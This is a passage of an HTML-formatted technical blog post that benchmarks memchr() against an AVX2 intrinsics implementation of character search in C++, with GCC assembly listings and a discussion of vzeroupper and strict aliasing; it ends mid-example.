<code>memchr()<\/code>?<a class=\"headerlink\" href=\"#is-stdfind-faster-as-memchr\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Following definition<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;string.h&gt;<\/span>\n\n<span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"nf\">find_memchr<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"k\">static_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"o\">*&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">memchr<\/span><span class=\"p\">(<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"o\">-<\/span><span class=\"n\">b<\/span><span class=\"p\">));<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">?<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>yields a median runtime of 32 seconds. Thus, <code>memchr<\/code> is\n1.6 times or so faster than the naive implementation. Clearly, its\nimplementation is different from the <code>std::find()<\/code> one.<\/p>\n<p>Looking at the generated code<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nf\">find_memchr<\/span><span class=\"p\">(<\/span><span class=\"no\">char<\/span><span class=\"w\"> <\/span><span class=\"no\">const<\/span><span class=\"p\">*,<\/span><span class=\"w\"> <\/span><span class=\"no\">char<\/span><span class=\"w\"> <\/span><span class=\"no\">const<\/span><span class=\"p\">*,<\/span><span class=\"w\"> <\/span><span class=\"no\">char<\/span><span class=\"p\">):<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">pushq<\/span><span class=\"w\">   <\/span><span class=\"nv\">%rbx<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">movq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rsi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rbx<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">movl<\/span><span class=\"w\">    <\/span><span class=\"nv\">%edx<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%esi<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">movq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rbx<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rdx<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">movsbl<\/span><span class=\"w\">  <\/span><span class=\"nv\">%sil<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%esi<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">subq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rdx<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">call<\/span><span class=\"w\">    <\/span><span class=\"no\">memchr<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">testq<\/span><span class=\"w\">   <\/span><span class=\"nv\">%rax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">cmove<\/span><span class=\"w\">   <\/span><span class=\"nv\">%rbx<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">popq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rbx<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">ret<\/span>\n<\/code><\/pre><\/div>\n\n<p>(cf. <a href=\"http:\/\/gcc.godbolt.org\/#compilers:!((compiler:g62,options:'-O3+-march%3Dskylake',source:'%23include+%3Cstring.h%3E%0A%0Aconst+char+*find_memchr(const+char+*b,+const+char+*e,+char+c)%0A%7B%0A++const+char+*r+%3D+static_cast%3Cconst+char*%3E(memchr(b,+c,+e-b))%3B%0A++return+r+%3F+r+:+e%3B%0A%7D%0A')),filterAsm:(colouriseAsm:!t,commentOnly:!t,directives:!t,labels:!t),version:3\">GCC explorer<\/a>)<\/p>\n<p>we see that the compiler doesn't directly inline the <code>memchr()<\/code> call but just\ncalls the version from glibc.<\/p>\n<h2 id=\"does-simd-really-speed-things-up\">Does SIMD really speed things up?<a class=\"headerlink\" href=\"#does-simd-really-speed-things-up\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The AVX2 extension is a relatively recent SIMD implementation\nIntel has to offer on many of its CPUs - e.g. also on a standard\nSkylake CPU. It features registers of 256 bit width, i.e. that 32\ncharacters can be packed into one register.  Also, in contrast to\nsome older SIMD extension it has relaxed alignment requirements,\nwhich simplifies its usage and enables more use cases, in\ngeneral. Although, some instructions might perform better with\naligned data (as documented) this isn't the general rule.<\/p>\n<p>With GCC there are few alternatives how to use those SIMD instructions:<\/p>\n<ul>\n<li><a href=\"https:\/\/gcc.gnu.org\/onlinedocs\/gcc\/Vector-Extensions.html\">Vector Extensions<\/a><\/li>\n<li><a href=\"https:\/\/gcc.gnu.org\/onlinedocs\/gcc\/Using-Assembly-Language-with-C.html#Using-Assembly-Language-with-C\">inline assembler<\/a><\/li>\n<li>external assembler<\/li>\n<li><a href=\"https:\/\/gcc.gnu.org\/onlinedocs\/gcc\/x86-Built-in-Functions.html#x86-Built-in-Functions\">builtins<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/gcc-mirror\/gcc\/blob\/gcc-5-branch\/gcc\/config\/i386\/immintrin.h\">intrinsics<\/a><\/li>\n<\/ul>\n<p>The idea of the <a href=\"https:\/\/gcc.gnu.org\/onlinedocs\/gcc\/Vector-Extensions.html\">vector extensions<\/a> is to abstract away\nthe different vector extension on different architectures to\nwrite portable vector code. This ansatz sounds elegant, but as-is\nthe GCC vector extension syntax seems to be mainly focused on\narithmetic operations and some useful operations are lacking.<\/p>\n<p>Using inline or even an external assembler is ok - but\ninterfacing with the rest of the program requires some\ncare.<\/p>\n<p>The intrinsics are available via a header that is standardized by\nIntel, thus those intrinsics are portable to other x86 compilers.\nThe GCC <a href=\"https:\/\/github.com\/gcc-mirror\/gcc\/blob\/gcc-5-branch\/gcc\/config\/i386\/immintrin.h\">maps them<\/a> to its builtins (that are one-to-one\nmappings to the underlying instructions). In addition to that,\nthere is good documentation online available, including a\nsearchable reference and tutorials.<\/p>\n<p>A quick consultation of the <a href=\"https:\/\/software.intel.com\/sites\/landingpage\/IntrinsicsGuide\/\">Intel Intrinsics Guide<\/a>\nleads to the following AVX <code>find()<\/code> version:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;immintrin.h&gt;<\/span>\n\n<span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"nf\">find_avx2<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">  <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_set1_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">+<\/span><span class=\"mi\">32<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">+=<\/span><span class=\"mi\">32<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_lddqu_si256<\/span><span class=\"p\">(<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">reinterpret_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"n\">__m256i<\/span><span class=\"o\">*&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">));<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_cmpeq_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"n\">z<\/span><span class=\"w\">     <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_movemask_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">r<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"n\">__builtin_ffs<\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">  <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>The <a href=\"https:\/\/gcc.gnu.org\/onlinedocs\/gcc\/Other-Builtins.html\"><code>__builtin_ffs<\/code><\/a> function is a standard GCC builtin\nfor the find-first-set bit operation.<\/p>\n<p>Its median runtime is 30 seconds which is a tiny bit faster than\n<code>memchr()<\/code> (2 seconds) and thus about 1.7 times faster than\nthe naive implementation.<\/p>\n<p>Looking at the <a href=\"http:\/\/gcc.godbolt.org\/#compilers:!((compiler:g62,options:'-O3+-march%3Dskylake+',source:'%23include+%3Cimmintrin.h%3E%0A%0Aconst+char+*find_avx2(const+char+*b,+const+char+*e,+char+c)%0A%7B%0A++const+char+*i+%3D+b%3B%0A%0A++__m256i+q+%3D+_mm256_set1_epi8(c)%3B%0A%0A++for+(%3B+i%2B32+%3C+e%3B+i%2B%3D32)+%7B%0A++++__m256i+x+%3D+_mm256_lddqu_si256((__m256i*)i)%3B%0A++++__m256i+r+%3D+_mm256_cmpeq_epi8(x,+q)%3B%0A++++int+z+%3D+_mm256_movemask_epi8(r)%3B%0A++++if+(z)%0A++++++return+i+%2B+__builtin_ffs(z)+-+1%3B%0A++%7D%0A%0A++for+(%3B+i+%3C+e%3B+%2B%2Bi)%0A++++if+(*i+%3D%3D+c)%0A++++++return+i%3B%0A%0A++return+e%3B%0A%7D%0A')),filterAsm:(colouriseAsm:!t,commentOnly:!t,directives:!t,labels:!t),version:3\">assembler output<\/a><\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nf\">find_avx2<\/span><span class=\"p\">(<\/span><span class=\"no\">char<\/span><span class=\"w\"> <\/span><span class=\"no\">const<\/span><span class=\"p\">*,<\/span><span class=\"w\"> <\/span><span class=\"no\">char<\/span><span class=\"w\"> <\/span><span class=\"no\">const<\/span><span class=\"p\">*,<\/span><span class=\"w\"> <\/span><span class=\"no\">char<\/span><span class=\"p\">):<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">    <\/span><span class=\"mi\">8<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rsp<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r10<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">andq<\/span><span class=\"w\">    <\/span><span class=\"no\">$-32<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rsp<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movl<\/span><span class=\"w\">    <\/span><span class=\"nv\">%edx<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%eax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">pushq<\/span><span class=\"w\">   <\/span><span class=\"mi\">-8<\/span><span class=\"p\">(<\/span><span class=\"nv\">%r10<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">pushq<\/span><span class=\"w\">   <\/span><span class=\"nv\">%rbp<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rsp<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rbp<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">pushq<\/span><span class=\"w\">   <\/span><span class=\"nv\">%r10<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movb<\/span><span class=\"w\">    <\/span><span class=\"nv\">%dl<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">-17<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rbp<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">vpbroadcastb<\/span><span class=\"w\">    <\/span><span class=\"mi\">-17<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rbp<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%ymm1<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jmp<\/span><span class=\"w\">     <\/span><span class=\"no\">.L5<\/span>\n<span class=\"nl\">.L2:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">vlddqu<\/span><span class=\"w\">  <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%ymm0<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">vpcmpeqb<\/span><span class=\"w\">        <\/span><span class=\"nv\">%ymm0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%ymm1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%ymm0<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">vpmovmskb<\/span><span class=\"w\">       <\/span><span class=\"nv\">%ymm0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%ecx<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">testl<\/span><span class=\"w\">   <\/span><span class=\"nv\">%ecx<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%ecx<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jne<\/span><span class=\"w\">     <\/span><span class=\"no\">.L17<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%r8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rdi<\/span>\n<span class=\"nl\">.L5:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">    <\/span><span class=\"mi\">32<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r8<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rsi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r8<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jb<\/span><span class=\"w\">      <\/span><span class=\"no\">.L2<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rsi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rdi<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jnb<\/span><span class=\"w\">     <\/span><span class=\"no\">.L9<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">    <\/span><span class=\"nv\">%dl<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jne<\/span><span class=\"w\">     <\/span><span class=\"no\">.L7<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jmp<\/span><span class=\"w\">     <\/span><span class=\"no\">.L12<\/span>\n<span class=\"nl\">.L8:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">    <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%al<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">      <\/span><span class=\"no\">.L12<\/span>\n<span class=\"nl\">.L7:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">addq<\/span><span class=\"w\">    <\/span><span class=\"no\">$1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rdi<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rsi<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jne<\/span><span class=\"w\">     <\/span><span class=\"no\">.L8<\/span>\n<span class=\"nl\">.L9:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rsi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">vzeroupper<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">popq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%r10<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">popq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rbp<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">    <\/span><span class=\"mi\">-8<\/span><span class=\"p\">(<\/span><span class=\"nv\">%r10<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rsp<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<span class=\"nl\">.L17:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">tzcntl<\/span><span class=\"w\">  <\/span><span class=\"nv\">%ecx<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%ecx<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">addl<\/span><span class=\"w\">    <\/span><span class=\"no\">$1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%ecx<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movslq<\/span><span class=\"w\">  <\/span><span class=\"nv\">%ecx<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rcx<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">    <\/span><span class=\"mi\">-1<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">,<\/span><span class=\"nv\">%rcx<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">vzeroupper<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">popq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%r10<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">popq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rbp<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">    <\/span><span class=\"mi\">-8<\/span><span class=\"p\">(<\/span><span class=\"nv\">%r10<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rsp<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<span class=\"nl\">.L12:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">vzeroupper<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">popq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%r10<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">popq<\/span><span class=\"w\">    <\/span><span class=\"nv\">%rbp<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">    <\/span><span class=\"mi\">-8<\/span><span class=\"p\">(<\/span><span class=\"nv\">%r10<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rsp<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">ret<\/span>\n<\/code><\/pre><\/div>\n\n<p>(cf. <a href=\"http:\/\/gcc.godbolt.org\/#compilers:!((compiler:g62,options:'-O3+-march%3Dskylake+',source:'%23include+%3Cimmintrin.h%3E%0A%0Aconst+char+*find_avx2(const+char+*b,+const+char+*e,+char+c)%0A%7B%0A++const+char+*i+%3D+b%3B%0A%0A++__m256i+q+%3D+_mm256_set1_epi8(c)%3B%0A%0A++for+(%3B+i%2B32+%3C+e%3B+i%2B%3D32)+%7B%0A++++__m256i+x+%3D+_mm256_lddqu_si256((__m256i*)i)%3B%0A++++__m256i+r+%3D+_mm256_cmpeq_epi8(x,+q)%3B%0A++++int+z+%3D+_mm256_movemask_epi8(r)%3B%0A++++if+(z)%0A++++++return+i+%2B+__builtin_ffs(z)+-+1%3B%0A++%7D%0A%0A++for+(%3B+i+%3C+e%3B+%2B%2Bi)%0A++++if+(*i+%3D%3D+c)%0A++++++return+i%3B%0A%0A++return+e%3B%0A%7D%0A')),filterAsm:(colouriseAsm:!t,commentOnly:!t,directives:!t,labels:!t),version:3\">GCC explorer<\/a>)<\/p>\n<p>we see how the intrinsics are directly translated to the\n<a href=\"https:\/\/software.intel.com\/sites\/landingpage\/IntrinsicsGuide\/#expand=4624&amp;text=_mm256_set1_epi8%20\"><code>vpbroadcastb<\/code><\/a>, <a href=\"https:\/\/software.intel.com\/sites\/landingpage\/IntrinsicsGuide\/#text=_mm256_lddqu_si256&amp;expand=3024\"><code>vlddqu<\/code><\/a>,\n<a href=\"https:\/\/software.intel.com\/sites\/landingpage\/IntrinsicsGuide\/#expand=742&amp;text=_mm256_cmpeq_epi8\"><code>vpcmpeqb<\/code><\/a> and <a href=\"https:\/\/software.intel.com\/sites\/landingpage\/IntrinsicsGuide\/#expand=3575&amp;text=vpmovmskb\"><code>vpmovmskb<\/code><\/a> instructions.\nPerhaps surprisingly, each <code>ret<\/code> is prefixed with a\n<a href=\"https:\/\/software.intel.com\/sites\/landingpage\/IntrinsicsGuide\/#expand=5693&amp;text=vzeroupper\"><code>vzeroupper<\/code><\/a> instruction. Apparently, that\ninstruction is emitted to <a href=\"https:\/\/software.intel.com\/sites\/default\/files\/m\/d\/4\/1\/d\/8\/11MC12_Avoiding_2BAVX-SSE_2BTransition_2BPenalties_2Brh_2Bfinal.pdf\">avoid slowdowns<\/a> when mixing AVX\nwith SSE code (and the upper register half is not being zeroed\nafter the last AVX instruction and before the next SSE one).\nSee also the <a href=\"https:\/\/software.intel.com\/en-us\/articles\/introduction-to-intel-advanced-vector-extensions\/\">Introduction to Intel Advanced Vetor\nextensions<\/a>, Section Instruction Set Overview:<\/p>\n<blockquote>\n<p>Another performance concern besides unaligned data issues is\nthat mixing legacy XMM-only instructions and newer Intel AVX\ninstructions causes delays, so minimize transitions between\nVEX-encoded instructions and legacy Intel SSE code. Said another\nway, do not mix VEX-prefixed instructions and non-VEX-prefixed\ninstructions for optimal throughput. If you must do so, minimize\ntransitions between the two by grouping instructions of the same\nVEX\/non-VEX class. Alternatively, there is no transition penalty\nif the upper YMM bits are set to zero via VZEROUPPER or VZEROALL,\nwhich compilers should automatically insert. This insertion\nrequires an extra instruction, so profiling is recommended.<\/p>\n<\/blockquote>\n<p>This can be disabled with the <code>-mno-vzeroupper<\/code> and doing so\nimproves the runtime a tiny bit on the Fedora 23 Core 7 system,\nbut significantly increases it on a CentOS 7 Intel Core 5 system\n(i.e. no-zeroupper is 1.6 times slower, cf. Section Measurements).<\/p>\n<p>Also, the <code>vzeroupper<\/code> instructions aren't emitted with each\narchitecture, e.g. they aren't when compiling with <code>-march=knl<\/code>\nand GCC 6.2.<\/p>\n<p><strong>Update (2016-09-28):<\/strong> When compiling the intrinsic SIMD\nversion in a separate translation unit, without any\nlink-time-optimization (LTO), the <code>reinterpret_cast<\/code> shouldn't\ncause any <a href=\"https:\/\/en.wikipedia.org\/wiki\/Aliasing_(computing)#Conflicts_with_optimization\">strict-aliasing<\/a> related issues, since the aliased\npointer is only used for reading and not for writing. A look into\nthe assembler output matches this understanding.<\/p>\n<p>Of course, the <code>reinterpret_cast<\/code> can be amended with a\n<code>may_alias<\/code> attribute (when compiling with GCC). It can even be\neliminated via issuing a <code>memcpy<\/code> that GCC and clang are able to\noptimize away (cf. <code>find_avx2_memcpy_impl.cc<\/code>):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"p\">;<\/span>\n<span class=\"n\">memcpy<\/span><span class=\"p\">(<\/span><span class=\"o\">&amp;<\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span 